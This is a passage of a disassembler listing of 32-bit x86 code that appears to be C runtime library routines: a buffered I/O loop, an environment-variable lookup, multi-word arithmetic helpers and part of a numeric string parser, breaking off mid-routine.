		mov	[ebp+var_1020],	1000h
		jmp	short loc_432DF3
; ---------------------------------------------------------------------------


loc_432DE7:				; CODE XREF: sub_432CF0+E9j
		mov	ecx, [ebp+var_1018]
		mov	[ebp+var_1020],	ecx


loc_432DF3:				; CODE XREF: sub_432CF0+F5j
		mov	edx, [ebp+var_1020]
		mov	[ebp+var_1008],	edx
		cmp	[ebp+var_1018],	1000h
		jl	short loc_432E17
		mov	[ebp+var_1024],	1000h
		jmp	short loc_432E23
; ---------------------------------------------------------------------------


loc_432E17:				; CODE XREF: sub_432CF0+119j
		mov	eax, [ebp+var_1018]
		mov	[ebp+var_1024],	eax


loc_432E23:				; CODE XREF: sub_432CF0+125j
		mov	ecx, [ebp+var_1024]
		push	ecx
		mov	edx, [ebp+var_1014]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DDC0
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		cmp	[ebp+var_1008],	0FFFFFFFFh
		jnz	short loc_432E6F
		call	sub_4267F0
		cmp	dword ptr [eax], 5
		jnz	short loc_432E61
		call	sub_4267E0
		mov	dword ptr [eax], 0Dh


loc_432E61:				; CODE XREF: sub_432CF0+164j
		mov	ecx, [ebp+var_1008]
		mov	[ebp+var_101C],	ecx
		jmp	short loc_432E8E
; ---------------------------------------------------------------------------


loc_432E6F:				; CODE XREF: sub_432CF0+15Aj
		mov	edx, [ebp+var_1018]
		sub	edx, [ebp+var_1008]
		mov	[ebp+var_1018],	edx
		cmp	[ebp+var_1018],	0
		jg	loc_432DCF


loc_432E8E:				; CODE XREF: sub_432CF0+17Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_435FA0
		add	esp, 8
		jmp	short loc_432EFE
; ---------------------------------------------------------------------------


loc_432EA0:				; CODE XREF: sub_432CF0+AFj
		cmp	[ebp+var_1018],	0
		jge	short loc_432EFE
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B770
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DA10
		add	esp, 4
		push	eax
		call	near ptr 3D0000h
		call	far ptr	0D8F7h:0C01BD8F7h
		dec	eax
		mov	[ebp+var_101C],	eax
		cmp	[ebp+var_101C],	0FFFFFFFFh
		jnz	short loc_432EFE
		call	sub_4267E0
		mov	dword ptr [eax], 0Dh
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	esi, eax
		call	sub_4267F0
		mov	[eax], esi


loc_432EFE:				; CODE XREF: sub_432CF0+1AEj
					; sub_432CF0+1B7j ...
		push	0
		mov	edx, [ebp+var_100C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B770
		add	esp, 0Ch
		mov	eax, [ebp+var_101C]


loc_432F19:				; CODE XREF: sub_432CF0+94j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_432CF0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Ch
		call	sub_421A80
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_432F50
		add	esp, 4
		mov	[ebp-4], eax
		push	0Ch
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432F50	proc near		; CODE XREF: seg000:0042EE1Ap
					; seg000:00432F32p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, ds:dword_4EE988
		mov	[ebp+var_8], eax
		cmp	ds:dword_4F0084, 0
		jnz	short loc_432F6E
		xor	eax, eax
		jmp	loc_433012
; ---------------------------------------------------------------------------


loc_432F6E:				; CODE XREF: sub_432F50+15j
		cmp	[ebp+var_8], 0
		jnz	short loc_432F96
		cmp	ds:dword_4EE990, 0
		jz	short loc_432F96
		call	sub_4360C0
		test	eax, eax
		jz	short loc_432F8D
		xor	eax, eax
		jmp	loc_433012
; ---------------------------------------------------------------------------


loc_432F8D:				; CODE XREF: sub_432F50+34j
		mov	ecx, ds:dword_4EE988
		mov	[ebp+var_8], ecx


loc_432F96:				; CODE XREF: sub_432F50+22j
					; sub_432F50+2Bj
		cmp	[ebp+var_8], 0
		jz	short loc_433010
		cmp	[ebp+arg_0], 0
		jz	short loc_433010
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41AC70
		add	esp, 4
		mov	[ebp+var_4], eax


loc_432FB1:				; CODE XREF: sub_432F50+BEj
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_433010
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx
		call	sub_41AC70
		add	esp, 4
		cmp	eax, [ebp+var_4]
		jbe	short loc_433005
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [ecx+edx]
		cmp	eax, 3Dh
		jnz	short loc_433005
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	ecx
		call	sub_436070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_433005
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx+1]
		jmp	short loc_433012
; ---------------------------------------------------------------------------


loc_433005:				; CODE XREF: sub_432F50+7Aj
					; sub_432F50+8Bj ...
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_432FB1
; ---------------------------------------------------------------------------


loc_433010:				; CODE XREF: sub_432F50+4Aj
					; sub_432F50+50j ...
		xor	eax, eax


loc_433012:				; CODE XREF: sub_432F50+19j
					; sub_432F50+38j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_432F50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433020	proc near		; CODE XREF: sub_42FC00+53p
					; sub_42FC00+94p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_0]
		jb	short loc_433046
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_43304F


loc_433046:				; CODE XREF: sub_433020+1Cj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_43304F:				; CODE XREF: sub_433020+24j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_433020	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433060	proc near		; CODE XREF: sub_4331E0+77p
					; sub_4331E0+AAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_433020
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4330B7
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_433020
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4330B7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax


loc_4330B7:				; CODE XREF: sub_433060+25j
					; sub_433060+46j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_433020
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4330EC
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx


loc_4330EC:				; CODE XREF: sub_433060+7Bj
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		push	edx
		call	sub_433020
		add	esp, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_433060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433110	proc near		; CODE XREF: sub_4331E0+5Bp
					; sub_4331E0+67p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 80000000h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 80000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shl	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shl	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shl	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_433110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433170	proc near		; CODE XREF: sub_433EA0+382p
					; sub_436170+316p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		and	eax, 80000000h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shr	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shr	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_433170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4331E0	proc near		; CODE XREF: sub_433320+8A7p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 404Eh
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_8]
		mov	dword ptr [edx+8], 0
		jmp	short loc_43321D
; ---------------------------------------------------------------------------


loc_43320B:				; CODE XREF: sub_4331E0+B2j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_43321D:				; CODE XREF: sub_4331E0+29j
		cmp	[ebp+arg_4], 0
		jbe	short loc_433297
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_8], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_433110
		add	esp, 4
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_433110
		add	esp, 4
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_433060
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_433110
		add	esp, 4
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_433060
		add	esp, 8
		jmp	loc_43320B
; ---------------------------------------------------------------------------


loc_433297:				; CODE XREF: sub_4331E0+41j
					; sub_4331E0+101j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4332E3
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shr	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		shr	ecx, 10h
		or	edx, ecx
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	cx, [ebp+var_10]
		sub	cx, 10h
		mov	[ebp+var_10], cx
		jmp	short loc_433297
; ---------------------------------------------------------------------------


loc_4332E3:				; CODE XREF: sub_4331E0+BEj
					; sub_4331E0+12Aj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		and	eax, 8000h
		test	eax, eax
		jnz	short loc_43330C
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_433110
		add	esp, 4
		mov	dx, [ebp+var_10]
		sub	dx, 1
		mov	[ebp+var_10], dx
		jmp	short loc_4332E3
; ---------------------------------------------------------------------------


loc_43330C:				; CODE XREF: sub_4331E0+110j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_10]
		mov	[eax+0Ah], cx
		mov	esp, ebp
		pop	ebp
		retn
sub_4331E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433320	proc near		; CODE XREF: sub_430290+1Ap
					; seg000:004302EAp ...

var_B4		= byte ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= dword	ptr -5Eh
var_5A		= dword	ptr -5Ah
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_21		= byte ptr -21h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0B4h
		lea	eax, [ebp+var_38]
		mov	[ebp+var_68], eax
		mov	word ptr [ebp+var_1C], 0
		mov	[ebp+var_74], 1
		mov	[ebp+var_70], 0
		mov	[ebp+var_54], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_40], 0
		mov	[ebp+var_78], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_6C], 0
		mov	[ebp+var_44], 0
		mov	[ebp+var_4C], 0
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	[ebp+var_64], edx
		jmp	short loc_433399
; ---------------------------------------------------------------------------


loc_433390:				; CODE XREF: sub_433320:loc_4333C5j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_433399:				; CODE XREF: sub_433320+6Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_4333C5
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jz	short loc_4333C5
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jz	short loc_4333C5
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jnz	short loc_4333C7


loc_4333C5:				; CODE XREF: sub_433320+82j
					; sub_433320+8Dj ...
		jmp	short loc_433390
; ---------------------------------------------------------------------------


loc_4333C7:				; CODE XREF: sub_433320+A3j
					; sub_433320:loc_433B23j
		cmp	[ebp+var_4C], 0Ah
		jz	loc_433B28
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_80], eax
		cmp	[ebp+var_80], 0Bh
		ja	loc_433B23
		mov	ecx, [ebp+var_80]
		jmp	ds:off_433D3A[ecx*4]


loc_4333FC:				; DATA XREF: seg000:off_433D3Ao
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_433420
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_433420
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_433495
; ---------------------------------------------------------------------------


loc_433420:				; CODE XREF: sub_433320+E3j
					; sub_433320+ECj
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, ds:byte_44FD24
		cmp	edx, eax
		jnz	short loc_433438
		mov	[ebp+var_4C], 5
		jmp	short loc_433495
; ---------------------------------------------------------------------------


loc_433438:				; CODE XREF: sub_433320+10Dj
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_84], cl
		cmp	[ebp+var_84], 2Bh
		jz	short loc_433467
		cmp	[ebp+var_84], 2Dh
		jz	short loc_433476
		cmp	[ebp+var_84], 30h
		jz	short loc_43345E
		jmp	short loc_433485
; ---------------------------------------------------------------------------


loc_43345E:				; CODE XREF: sub_433320+13Aj
		mov	[ebp+var_4C], 1
		jmp	short loc_433495
; ---------------------------------------------------------------------------


loc_433467:				; CODE XREF: sub_433320+128j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 0
		jmp	short loc_433495
; ---------------------------------------------------------------------------


loc_433476:				; CODE XREF: sub_433320+131j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 8000h
		jmp	short loc_433495
; ---------------------------------------------------------------------------


loc_433485:				; CODE XREF: sub_433320+13Cj
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_433495:				; CODE XREF: sub_433320+FEj
					; sub_433320+116j ...
		jmp	loc_433B23
; ---------------------------------------------------------------------------


loc_43349A:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D3Eo
		mov	[ebp+var_54], 1
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_4334C8
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_4334C8
		mov	[ebp+var_4C], 3
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	loc_43354B
; ---------------------------------------------------------------------------


loc_4334C8:				; CODE XREF: sub_433320+188j
					; sub_433320+191j
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, ds:byte_44FD24
		cmp	eax, ecx
		jnz	short loc_4334E0
		mov	[ebp+var_4C], 4
		jmp	short loc_43354B
; ---------------------------------------------------------------------------


loc_4334E0:				; CODE XREF: sub_433320+1B5j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_88], edx
		mov	eax, [ebp+var_88]
		sub	eax, 2Bh
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 3Ah
		ja	short loc_43353B
		mov	edx, [ebp+var_88]
		xor	ecx, ecx
		mov	cl, ds:byte_433D7A[edx]
		jmp	ds:off_433D6A[ecx*4]


loc_433517:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D6Eo
		mov	[ebp+var_4C], 1
		jmp	short loc_43354B
; ---------------------------------------------------------------------------


loc_433520:				; CODE XREF: sub_433320+D5j
					; sub_433320+1F0j
					; DATA XREF: ...
		mov	[ebp+var_4C], 6
		jmp	short loc_43354B
; ---------------------------------------------------------------------------


loc_433529:				; CODE XREF: sub_433320+D5j
					; sub_433320+1F0j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_43354B
; ---------------------------------------------------------------------------


loc_43353B:				; CODE XREF: sub_433320+D5j
					; sub_433320+1E0j ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_43354B:				; CODE XREF: sub_433320+1A3j
					; sub_433320+1BEj ...
		jmp	loc_433B23
; ---------------------------------------------------------------------------


loc_433550:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D42o
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_433574
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_433574
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_4335B6
; ---------------------------------------------------------------------------


loc_433574:				; CODE XREF: sub_433320+237j
					; sub_433320+240j
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, ds:byte_44FD24
		cmp	edx, eax
		jnz	short loc_43358C
		mov	[ebp+var_4C], 5
		jmp	short loc_4335B6
; ---------------------------------------------------------------------------


loc_43358C:				; CODE XREF: sub_433320+261j
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_8C], cl
		cmp	[ebp+var_8C], 30h
		jz	short loc_4335A0
		jmp	short loc_4335A9
; ---------------------------------------------------------------------------


loc_4335A0:				; CODE XREF: sub_433320+27Cj
		mov	[ebp+var_4C], 1
		jmp	short loc_4335B6
; ---------------------------------------------------------------------------


loc_4335A9:				; CODE XREF: sub_433320+27Ej
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_4335B6:				; CODE XREF: sub_433320+252j
					; sub_433320+26Aj ...
		jmp	loc_433B23
; ---------------------------------------------------------------------------


loc_4335BB:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D46o
		mov	[ebp+var_54], 1
		jmp	short loc_4335D5
; ---------------------------------------------------------------------------


loc_4335C4:				; CODE XREF: sub_433320:loc_43364Fj
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4335D5:				; CODE XREF: sub_433320+2A2j
		cmp	ds:dword_44FD20, 1
		jle	short loc_4335F9
		push	4
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_90], eax
		jmp	short loc_433617
; ---------------------------------------------------------------------------


loc_4335F9:				; CODE XREF: sub_433320+2BCj
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_90], eax


loc_433617:				; CODE XREF: sub_433320+2D7j
		cmp	[ebp+var_90], 0
		jz	short loc_433654
		cmp	[ebp+var_70], 19h
		jnb	short loc_433646
		mov	ecx, [ebp+var_70]
		add	ecx, 1
		mov	[ebp+var_70], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		sub	edx, 30h
		mov	eax, [ebp+var_68]
		mov	[eax], dl
		mov	ecx, [ebp+var_68]
		add	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_43364F
; ---------------------------------------------------------------------------


loc_433646:				; CODE XREF: sub_433320+304j
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx


loc_43364F:				; CODE XREF: sub_433320+324j
		jmp	loc_4335C4
; ---------------------------------------------------------------------------


loc_433654:				; CODE XREF: sub_433320+2FEj
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, ds:byte_44FD24
		cmp	eax, ecx
		jnz	short loc_43366C
		mov	[ebp+var_4C], 4
		jmp	short loc_4336CE
; ---------------------------------------------------------------------------


loc_43366C:				; CODE XREF: sub_433320+341j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_94], edx
		mov	eax, [ebp+var_94]
		sub	eax, 2Bh
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 3Ah
		ja	short loc_4336BE
		mov	edx, [ebp+var_94]
		xor	ecx, ecx
		mov	cl, ds:byte_433DC1[edx]
		jmp	ds:off_433DB5[ecx*4]


loc_4336A3:				; DATA XREF: seg000:00433DB9o
		mov	[ebp+var_4C], 6
		jmp	short loc_4336CE
; ---------------------------------------------------------------------------


loc_4336AC:				; CODE XREF: sub_433320+37Cj
					; DATA XREF: seg000:off_433DB5o
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_4336CE
; ---------------------------------------------------------------------------


loc_4336BE:				; CODE XREF: sub_433320+36Cj
					; sub_433320+37Cj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_4336CE:				; CODE XREF: sub_433320+34Aj
					; sub_433320+38Aj ...
		jmp	loc_433B23
; ---------------------------------------------------------------------------


loc_4336D3:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D4Ao
		mov	[ebp+var_54], 1
		mov	[ebp+var_C], 1
		cmp	[ebp+var_70], 0
		jnz	short loc_43370E
		jmp	short loc_4336FA
; ---------------------------------------------------------------------------


loc_4336E9:				; CODE XREF: sub_433320+3ECj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4336FA:				; CODE XREF: sub_433320+3C7j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 30h
		jnz	short loc_43370E
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_4336E9
; ---------------------------------------------------------------------------


loc_43370E:				; CODE XREF: sub_433320+3C5j
					; sub_433320+3E1j
		jmp	short loc_433721
; ---------------------------------------------------------------------------


loc_433710:				; CODE XREF: sub_433320:loc_433799j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_433721:				; CODE XREF: sub_433320:loc_43370Ej
		cmp	ds:dword_44FD20, 1
		jle	short loc_433746
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_98], eax
		jmp	short loc_433763
; ---------------------------------------------------------------------------


loc_433746:				; CODE XREF: sub_433320+408j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
